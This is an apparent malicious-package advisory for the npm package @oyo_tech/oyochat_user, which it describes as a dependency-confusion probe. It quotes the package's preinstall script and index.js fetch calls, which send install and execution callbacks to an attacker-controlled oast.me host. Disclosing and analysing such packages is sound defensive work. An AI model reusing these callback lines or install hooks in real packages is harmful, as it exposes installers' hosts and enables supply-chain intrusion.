MAL-2026-14123

Dashboard / Malicious Package / MAL-2026-14123

MAL-2026-14123

Summary: Malicious code in @oyo_tech/oyochat_user (npm)

Details: Source: amazon-inspector (2211869e361bf0cd90956a5c1dae972927c25c1d52e5ed4729cddc7b67fe682e) @oyo_tech/[email protected] is a dependency-confusion probe. package.json declares a preinstall script that runs `node -e "fetch('https://dc.installed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/'+process.env.npm_package_name)"`, causing `npm install` to make an outbound callback to an attacker-controlled interactsh (oast.me) subdomain and disclose that the package resolved on the installer's host. index.js additionally issues `fetch("https://dc.executed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/oyochat_user")` on require/import, signalling that the package was actually loaded by a build. Distinct `installed.` and `executed.` subdomains under the same attacker-controlled OAST token are used to stage install-vs-execute telemetry. The 99.99.99 version and scoped org name are consistent with a dependency-confusion attack targeting an internal package name. Installing this package confirms code execution on the installer's host to the attacker and exposes the internal package name; the same install-time execution primitive can be trivially upgraded to arbitrary payload delivery. Source: ossf-package-analysis (db0f726175ab94e18345e8926ec8de1f76a684ac09429303323c3ceb0d14aea4) The OpenSSF Package Analysis project identified '@oyo_tech/oyochat_user' @ 100.0.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

References: https://www.npmjs.com/package/@oyo_tech/oyochat_user/v/100.0.0, https://www.npmjs.com/package/@oyo_tech/oyochat_user/v/99.99.99